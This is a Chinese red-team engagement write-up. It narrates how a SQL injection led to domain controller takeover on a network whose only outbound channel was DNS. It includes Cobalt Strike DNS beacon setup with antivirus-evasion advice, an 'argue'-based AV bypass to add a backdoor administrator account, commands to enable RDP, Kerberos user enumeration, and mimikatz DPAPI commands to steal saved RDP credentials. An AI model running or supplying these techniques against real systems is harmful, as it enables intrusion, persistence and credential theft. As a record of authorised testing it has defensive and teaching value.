以下文章来源于酒仙桥六号部队 ,作者队员编号051
这是 酒仙桥六号部队 的第 52 篇文章。
全文共计3141个字,预计阅读时长10分钟。
以下是某次红蓝对抗过程中的一次记录,项目特点是内网服务器对外只能通DNS协议。
站库分离Getshell
碰到的这个站比较奇葩,采用的是php SQLSever架构。
首先,在资产某处发现存在SQL注入,数据库类型是SQLServer,并且当前用户为sa管理用户。
通过sqlmap的 --os-shell 调用xp_cmdshell执行系统命令获得权限,执行完命令后发现当前仅仅是普通service 用户的权限。
于是想通过执行powershell命令弹回一个CobaltStrike的shell,发现报错,提示无法连接到远程服务器。
猜测目标机器可能不通外网,Ping baidu看看结果,发现只有DNS协议能出网。
那么现在的思路就是通过找到目标网站路径,然后写入webshell,获取权限。
这里我们找网站路径的思路是通过找网站上一个特殊的文件名,然后利用windows下查找文件的语法(dir /s /b c:test.txt)来进行查找。
首先,找到网站上一个比较特殊一点的文件名。
执行命令查找:dir /s /b c:checkform.js 。发现均未找到,于是怀疑该网站站库分离。
执行sqlmap的 --sql-shell 参数,运行SQL语句验证是否站库分离,果不其然,该站点采用了站库分离。
代码语言:javascript复制select host_name()
select @@servername
我们现在通过注入获取到的是内网数据库服务器的权限,并且由于该机器对外只通DNS协议,故没有比较好的办法弹回该数据库服务器的shell。
我们现在只有寄希望于通过SQL注入读取网站的账号密码,然后登录后台,寻找getshell的点了。最终,通过读取数据库,找到了网站后台的账号密码。
用读取的账号密码登录后台,在后台找到一上传点,但是该上传处后缀白名单限制以及文件内容检测,只能上传图片格式的文件。最终,通过 上传图片木马 解析漏洞组合利用,成功获取服务器权限。
利用DNS Beacon弹shell
而后上传冰蝎马,获得更直观的命令执行界面。为了更好的进行内网渗透,想弹回一个CobaltStrike类型的shell。但是通过执行ping baidu发现,该机器也是只对外通DNS协议,所以我们得制作一个DNS Beacon类型的木马。
制作DNS Beacon步骤如下:
- 准备一台VPS服务器(可以直接使用我们的CS服务器),该机器的53端口一定要对外开放。然后准备好一个域名。
- 配置域名的解析记录,创建A记录和NS记录。A记录解析到VPS服务器上,NS记录解析到A记录上。
- CS开启监听DNS Beacon,DNS Hosts填我们的NS记录,DNS Host(Stager)填我们的A记录。
- 生成DNS木马,生成的木马类型是Windows Executable(S)。如果木马机器有杀软,可以先生成shellcode,然后免杀编译。
- 执行木马上线。
通过上传免杀的dns木马,执行上线成功。默认上线是黑框框,也执行不了命令。
执行以下两条命令,即可正常显示并执行命令。
代码语言:javascript复制checkin
mode dns-txt
由于是WinServer2012的机器,故只能抓取到密码的哈希。
现在我们想远程RDP连接到该机器。但是有几个问题:
- 主机3389端口未开放,所以需要手动给他开放。
- 未抓取到目标主机的账号密码明文,所以需要手动创建账号。但是该主机存在杀软,所以需要绕过杀软执行创建账号命令。
开启3389端口
WinServer2012开启3389端口命令如下:
代码语言:javascript复制wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
argue参数绕过杀软
目标机器存在杀软,直接执行创建用户命令会被杀软报毒,所以我们需要使用argue参数绕过杀软,执行创建用户命令
代码语言:javascript复制argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
argue
execute net1 user hack Root111! /add
execute net1 localgroup administrators hack /add
挂代理
由于目标机器对外只通DNS协议,所以我们最好的选择是搭建一个HTTP协议的代理。
远程连接目标主机内网ip的3389端口,成功RDP连接。
翻阅目标机器目录,查找到之前注入的SQLServer数据库的账号密码。
通过navicat远程连接,翻阅数据库,发现该机器上数据库中还存有用户名和MD5加密后的一些密码。我们可以先收集这些用户名。
翻阅完数据库之后,执行xp_cmdshell提权。
由于数据库服务器对外只通DNS协议,但是在内网里面,可以与其他机器互通。所以通过在拿到的web服务器上放入我们的DNS木马,然后执行xp_cmdshell远程下载并执行,成功弹回数据库服务器的CobaltStrike shell。
内网中继横向渗透
内网的所有机器对外都只通DNS协议,所以我们进行内网横向渗透需要以获取到的web服务器作为中继监听,进行内网横向渗透。
在获取到的web服务器上执行中继监听。
目前获取到的只是数据库服务器的普通network service权限,我们现在需要提权到管理员权限。使用CobaltStrike的插件进行提权,然后监听器选择刚刚创建的zhongji。执行后,成功获取到管理员权限。由于是WinServer2008的机器,运行mimikatz,得到明文账号密码。
目前我们已经拿到了两台服务器的管理员权限了。并且一台服务器是明文账号密码,一台服务器是密码哈希。现在我们需要对内网进行更广阔的横向渗透了。现在获取的两台机器都在192.168网段。但是我们扫描的时候还需要探测10.0网段和172.16网段。
对内网进行MS17-010探测攻击,成功攻下3台服务器,均在192.168网段。
对内网445、1433、3306、6379等端口进行扫描。
- 对开放了445端口的主机进行SMB爆破,利用刚刚读取到的明文账号密码。如果爆破成功,直接psexec远程弹一个CobaltStrike shell回来。这里获取到3台服务器权限,均在192.168网段。
- 对于没爆破成功的主机,利用读取到的哈希进行哈希传递攻击。
- 对开放了1433、3306端口的主机,利用内网中获取到的账号密码进行数据库爆破。如果爆破成功,再执行UDF/XP_cmdshell 提权等操作。这里MySQL的UDF提权未执行成功,但是xp_cmdshell提权执行成功,获取了权限,在10.0网段。
- 对6379端口进行爆破,如果有未授权访问或弱口令并且是Linux主机的话,则直接尝试利用写入公钥提权。但是这里好多机器无写入权限,只获取到一台Linux主机权限,在10.0网段。
经过内网中继横向渗透,已经拿到了8台Windows服务器和1台Linux服务器的权限了。但是,并没有找到在域内的机器。但是在前期的信息收集过程中,已经得知目标内网存在域环境:xxx.com,并且收集到了域控的IP地址。后来在10.0的机器上发现可以ping通域控的地址。
域内用户枚举
在 10.0 的机器上发现可以ping通域控后,在该机器上挂代理,准备对域内的用户进行枚举。用户名使用之前在数据库中收集到的用户名 我的超强用户名字典 (针对国内用户进行收集的用户名字典,一共两万多条)。
通过域内用户名枚举,一共枚举出了一百多个域内用户名。
代码语言:javascript复制nmap -sT -Pn -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="域名",userdb="users.txt" 域控IP
域内用户密码碰撞
获取到了域内用户名之后,再查看哪些用户名在之前拿到的数据库中,找到其对应的MD5密码去在线网站解密,尝试碰撞。最后,终于碰撞出一个属于信息管理部人员的域账号。
然后,使用该域用户远程RDP连接开放了3389端口的域内主机,立马弹回一个dns beacon的shell,并且进行域内信息查询,发现该域账号只是普通域用户。
当执行了net group "domaian computers" /domain 后,发现了与刚刚破解的用户名相同的主机名。于是可以猜测到,这台机器应该是这个用户的个人办公机。扫描了一下端口,该机器开放了3389端口。
于是等到了中午十二点的时候(这时候是饭点),远程RDP登录该主机,进行快速的信息查找。
RDP凭据账号密码提取
当执行以下命令之后,发现该机器上存有登录到域内其他机器的RDP Session。
代码语言:javascript复制#查看mstsc的连接纪录
cmdkey /list
#查找本地的Credentials:
dir /a %userprofile%AppDataLocalMicrosoftCredentials*
于是乎上传mimikatz,使用本地提权漏洞,提到system权限,执行以下命令,成功获取到该RDP凭据中保存的用户名密码。
代码语言:javascript复制exp.exe mimikatz.exe
privilege::debug
dpapi::cred /in:C:UsersxxAppDataLocalMicrosoftCredentialsRDP Session
sekurlsa::dpapi
dpapi::cred /in:C:UsersxxxAppDataLocalMicrosoftCredentialsRDP Session /masterkey:上一步获取的mastkey
拿下域控
查询该用户名所属组,发现在管理员组中。
发现域控3389端口开着,直接RDP登录域控。
查看域内主机个数,3807台,到此,项目结束。Game Over!
总结
本次项目最主要的特点是内网的主机对外都只能通DNS协议,所以我们需要利用DNS Becaon弹shell回来。在进行内网横向渗透的时候,需要以获取到权限的主机作为中继监听,进行内网横向。
- 站库分离获取web服务器权限,然后通过DNS Beacon弹回shell。
- 内网连接数据库,翻阅数据库记录用户名和密码,xp_cmdshell提权获取权限。
- 内网中继横向渗透获取到9台服务器权限。
- 域内用户名枚举,枚举出一百多个用户名,并且通过密码碰撞得到信息管理员人员域内用户名密码。
- 登录域内任意主机,查询发现该人员的个人办公机器。
- 趁着饭点连接该人员主机,从RDP凭据中获取到域管理员账号密码。
- 直接使用该域管理员账号登录域控,GameOver。